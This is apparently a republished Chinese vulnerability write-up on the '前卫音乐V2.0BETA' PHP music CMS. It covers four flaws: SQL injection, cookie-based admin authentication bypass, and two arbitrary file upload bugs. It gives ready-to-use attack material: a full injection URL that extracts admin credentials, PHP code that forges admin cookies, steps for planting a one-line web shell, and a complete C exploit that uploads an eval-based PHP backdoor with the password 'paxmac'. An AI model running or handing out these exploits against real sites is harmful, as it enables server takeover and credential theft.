来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] 在阅读前卫音乐V2 0BETA(20130709)版代码过程中,发现多个漏洞。1 home libs common php注入漏洞在 home目录里有index php文件,此文件无任何功能,只是包含了 home libs common php。下面看下问题代码...
在阅读“前卫音乐V2.0BETA(20130709)版”代码过程中,发现多个漏洞。
1./home/libs/common.php注入漏洞 在/home目录里有index.php文件,此文件无任何功能,只是包含了/home/libs/common.php。下面看下问题代码: <?php include_once(CSDJ_PATH.'/conn.php'); ob_start(); //允许动作 $dos = array('down', 'index', 'dance', 'gd', 'gx', 'pick', 'reco', 'feed', 'pic', 'gbook', 'skin', 'blog'); //获取变量 $usym=$_SERVER['HTTP_HOST']; $uall=explode(".",$usym); $op=CS_Request("op"); $uid=CS_Request("uid"); //问题参数 $id=CS_Request("id"); $pages=CS_Request("pages"); if(empty($uid)) $uid=$uall[0]; $op = (!empty($op) && in_array($op, $dos))?$op:'index'; if(empty($uid)) exit('抱歉,会员UID为空,参数错误!'); if($op=='skin'){ if(isset($_COOKIE["cd_name"])){ $uid=$_COOKIE["cd_id"]; }else{ exit("<script>window.location='http://".cd_weburl."/i/login.php'</script>"); } } global $db; $row=$db->getrow("Select * from ".tname('user')." where cd_id=".$uid.""); //代入查询 ?> 代码中$uid经过了CS_Request的处理,如果CS_Request没有过滤好,那么$uid就有可能被带入下面的SQL语句进入查询,下面看下CS_Request的实现: function CS_Request($pi_strName, $pi_Def = "", $pi_iType = CS_TXT) { if ( isset($_GET[$pi_strName]) ) $t_Val = trim($_GET[$pi_strName]); else if ( isset($_POST[$pi_strName])) $t_Val = trim($_POST[$pi_strName]); else return $pi_Def; // 这里是数字型参数的过滤 if ( CS_INT == $pi_iType) { if (is_numeric($t_Val)) return $t_Val; else return $pi_Def; } // String $t_Val = str_replace("&", "&",$t_Val); $t_Val = str_replace("<", "<",$t_Val); $t_Val = str_replace(">", ">",$t_Val); if ( get_magic_quotes_gpc() ) { $t_Val = str_replace("\\\"", """,$t_Val); $t_Val = str_replace("\\''", "'",$t_Val); } else { $t_Val = str_replace("\"", """,$t_Val); $t_Val = str_replace("'", "'",$t_Val); } return $t_Val; } 可以看到,CS_Request对数字型的过滤好了,对于字符型的参数,CS_Request过滤了&、<、>、"、’。 $uid是数字型的参数,本来应该应该过滤好的,但是代码中对CS_Request的调用方式不对,正确的应该为 $uid=CS_Request("uid", 0, CS_INT),作者的调用方式为$uid=CS_Request("uid")等同于$uid作字符串的过滤。 对于字符串CS_Request过滤了单、双引号,本来也应该安全的,但是SQL查询语句: $row=$db->getrow("Select* from ".tname('user')." where cd_id=".$uid."") 却没有将$uid用单引号包含起来,安全语句应为 $row=$db->getrow("Select* from ".tname('user')." where cd_id=’".$uid."’")。 SQL注入语句: http://www.0day5.com/home/index.php?uid=1&op=23and 1=2 union select 1,2,3,concat(CD_AdminUserName,0x3c,0x3c,CD_AdminPassWord),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46from musicdj_admin imit 0,1 2./admin/admin_check.php权限绕过漏洞 上面那个漏洞只是注入,还要解MD5,那这个漏洞就可以直接添加管理员了。进入/admin目录,随便打开一个文件,都会调用这个函数:admincheck(7),看名字就知道,检查权限的。Admincheck的实现在/admin/admin_check.php里: function admincheck($CD_Permission){ if($_COOKIE['CD_Permission']<>''){ $menuarr=explode(',',$_COOKIE['CD_Permission']); $adminlogined='False'; for($i=0;$i<count($menuarr);$i++){ if($menuarr[$i]==$CD_Permission){$adminlogined='True';} } if($adminlogined=='False'){AdminAlert('出错了,您没有进入本页面的权限!','',2);} }else{ AdminAlert('出错了,您没有进入本页面的权限!','',2); } } if(empty($_COOKIE['CD_AdminID'])){ AdminAlert('您没有进入本页面的权限,本次操作已被记录!','admin_login.php',0); }elseif($_COOKIE['CD_Login']!=md5($_COOKIE['CD_AdminID'].$_COOKIE['CD_AdminUserName'].$_COOKIE['CD_AdminPassWord'].$_COOKIE['CD_Permission'])){ AdminAlert('您没有进入本页面的权限,本次操作已被记录!','admin_login.php',0); } 就做两个检查:1、$_COOKIE['CD_Permission']中某一项要跟传入的参数相匹配2、$_COOKIE['CD_Login']==md5($_COOKIE['CD_AdminID'].$_COOKIE['CD_AdminUserName'].$_COOKIE['CD_AdminPassWord'].$_COOKIE['CD_Permission']) 以上两条都满足,就是管理员了,同时程序未对$_COOKIE做任何保护措施。能进后台了,就可以加管理了,就可以上传了。伪造可以用firefox的tamper data就行了。生成cookie的代码: <?php$CD_Permission="1,2,3,4,5,6,7,8,9,10,11"; $CD_AdminID=1;$CD_AdminUserName="ywledoc"; $CD_AdminPassWord=123; $CD_Login=md5($CD_AdminID.$CD_AdminUserName.$CD_AdminPassWord.$CD_Permission); echo "CD_Permission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11;CD_AdminID=1; CD_AdminUserName=ywledoc;CD_AdminPassWord=123;CD_Login=".$CD_Login."<br>"; ?> 生成:CD_Permission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11;CD_AdminID=1;CD_AdminUserName=ywledoc;CD_AdminPassWord=123;CD_Login=5317e16c7b3f5b2b283d481832e5b309 替换后,访问/admin/admin_admin.php 3./admin/admin_mold.php任意文件上传漏洞(需GPC OFF) 利用上面那个漏洞,添加了一个管理员,登陆后开始这一步。先看看漏洞代码: Function Save(){ $CD_Name=$_POST['FileName']; $CD_Path=$_POST['folder']; $CD_TempName=$_POST['tempname']; $CD_Content=stripslashes($_POST['content']); $F_Ext = substr(strrchr($CD_Name,'.'),1); $FileType = strtolower($F_Ext); if($FileType=='htm'or $FileType=='html'or $FileType=='shtml'or $FileType=='js'or $FileType=='css'or $FileType=='txt'){ if(!$fp = fopen($CD_Path.$CD_Name,'w')) { AdminAlert('出错了,文件 '.$CD_Path.$CD_Name.' 没有写入权限!','?action=templist&tempname='.$CD_TempName.'&dir='.$CD_Path.'',1); } $ifile = new iFile($CD_Path.$CD_Name,'w'); $ifile->WriteFile($CD_Content,3); AdminAlert('恭喜您,编辑模板文件成功!','?action=templist&tempname='.$CD_TempName.'&dir='.$CD_Path.'',0); }else{ AdminAlert('出错了,操作已被禁止!','?action=templist&tempname='.$CD_TempName.'&dir='.$CD_Path.'',1); } } 源码中 if($FileType=='htm'or$FileType=='html'or $FileType=='shtml'or $FileType=='js'or $FileType=='css'or$FileType=='txt') 会验证保存文件的后缀名,但是路径却是拼接出来的$CD_Path.$CD_Name,而且$CD_Path没有做任何验证,可以直接传入%00,进行截断。但%00是会被GPC转义,并且大多数网站都会打开GPC,所以这个漏洞有些鸡肋了。利用方法,访问 /admin/admin_mold.php?action=templist&tempname=%C4%AC%C8%CF%C4%A3%B0%E6&dir=../skin/index/9ku/,随便找一个模板进行编辑,写入你的一句话木马 点击提交,并用tamper data进行拦截,修改数据包,类似shopex的会直接生成一个shell文件 4./admin/inc/uploads.php任意文件上传漏洞(需register_globals为ON) 管理员上传流程/admin/inc/upload.php->/admin/inc/upload/uploadify.swf->/admin/inc/uploads.php,最终实现写文件是在最后一步,看/admin/inc/uploads.php的实现 include "../../include/conn.php"; $id=SafeRequest("id","get"); $action=SafeRequest("ac","get"); switch($action){ case 'music': $targetFiles="../../upload/musicurl/".$id.".".fileext($_FILES['Filedata']['name']); $fileexts="*.mp3;*.wma"; $filetypes="歌曲文件"; break; case 'musicpic': $targetFiles="../../upload/musicpic/".$id.".".fileext($_FILES['Filedata']['name']); $fileexts="*.jpg;*.gif"; $filetypes="歌曲图片"; break; case 'special': $targetFiles="../../upload/special/".$id.".".fileext($_FILES['Filedata']['name']); $fileexts="*.jpg;*.gif"; $filetypes="专辑图片"; break; } if (!empty($_FILES)) { $tempFile = $_FILES['Filedata']['tmp_name']; $targetFile = $targetFiles; //$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/'; //$targetFile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name']; $fileTypes = str_replace('*.','',$fileexts); $fileTypes = str_replace(';','|',$fileTypes); $typesArray = split('\|',$fileTypes); $fileParts = pathinfo($_FILES['Filedata']['name']); if (in_array($fileParts['extension'],$typesArray)) { // Uncomment the following line if you want to make the directory if it doesn't exist // mkdir(str_replace('//','/',$targetPath), 0755, true); //setcookie("targetFile",$targetFile,time()+86400,"/"); move_uploaded_file($tempFile,$targetFile); $fileexts决定允许上传的类型,$targetPath决定上传的路径,然后这两者都取决$action,如果输入一个不合理的$action值 ,那么$targetPath、$fileexts都会变成未定义,在register_globals为ON的情况下,就可以通过$_POST直接给$targetPath、$fileexts赋值了。有的情况下也可以在register_globals为Off的情况下,那有一个条件就是需要以下代码: foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value){ $_key{0} != '_' && $$_key =daddslashes($_value); } } 也是经典的全局变量覆盖漏洞代码。这里没有这段代码,只能依赖register_globals为ON,同样register_globals一般都是off,所以这个漏洞也有点鸡肋。练手,写了一段C POST提交文件的代码,如下: #include <stdio.h> #include <WinSock2.h> #include <Windows.h> #pragma comment(lib, "ws2_32") int main(int argc, char *argv[]) { PVOID pBuff = NULL; SOCKET hSock = INVALID_SOCKET; int iResult = 0; WSADATA wsaData = {0}; sockaddr_in clientServer = {0}; hostent *pclientAddr = {0}; iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); if (iResult != 0) return 0; do { if (argc != 3)break; pBuff = VirtualAlloc(NULL, 0x200, MEM_COMMIT, PAGE_READWRITE); if (pBuff == NULL) break; sprintf((PCHAR)pBuff,"POST /%s/admin/inc/uploads.php HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: Mozilla/5.0\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n" "Accept-Encoding: gzip, deflate\r\n" "Connection: keep-alive\r\n" "Content-Type: multipart/form-data; boundary=--------------------------- 1681160893454\r\n" "Content-Length: 539\r\n\r\n" "-----------------------------1681160893454\r\n" "Content-Disposition: form-data; name=\"targetFiles\"\r\n" "\r\n" "../../upload/special/ywledoc.php\r\n" "-----------------------------1681160893454\r\n" "Content-Disposition: form-data; name=\"fileexts\"\r\n" "\r\n" "*.php\r\n" "-----------------------------1681160893454\r\n" "Content-Disposition: form-data; name=\"Filedata\"; filename=\"yijuma.php\"\r\n" "Content-Type: application/octet-stream\r\n" "\r\n" "<?php eval($_POST[paxmac])?>\r\n" "-----------------------------1681160893454\r\n" "Content-Disposition: form-data; name=\"submit\"\r\n" "\r\n" "Submit\r\n" "-----------------------------1681160893454--\r\n\r\n", argv[2],argv[1]); hSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (hSock == INVALID_SOCKET) break; clientServer.sin_family = AF_INET; clientServer.sin_port = htons(80); pclientAddr = gethostbyname(argv[1]); if (pclientAddr == NULL) { printf("网址解析错误,请检查输入!\n"); break; } clientServer.sin_addr.s_addr = *((ULONG*)(pclientAddr->h_addr_list[0])); if(connect(hSock, (sockaddr*)&clientServer, sizeof(sockaddr_in)) != 0) { printf("到服务器的连接被拒绝!\n"); break; } send(hSock, (PCHAR)pBuff, strlen((PCHAR)pBuff), 0); printf("执行完成,请查看URL:%s%s/upload/special/ywledoc.php\n",argv[1],argv[2]); closesocket(hSock); } while (FALSE); WSACleanup(); return 0; } 这段代码执行后会在/upload/special/目录下生成ywledoc.php一句话木马,密码是paxmac。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com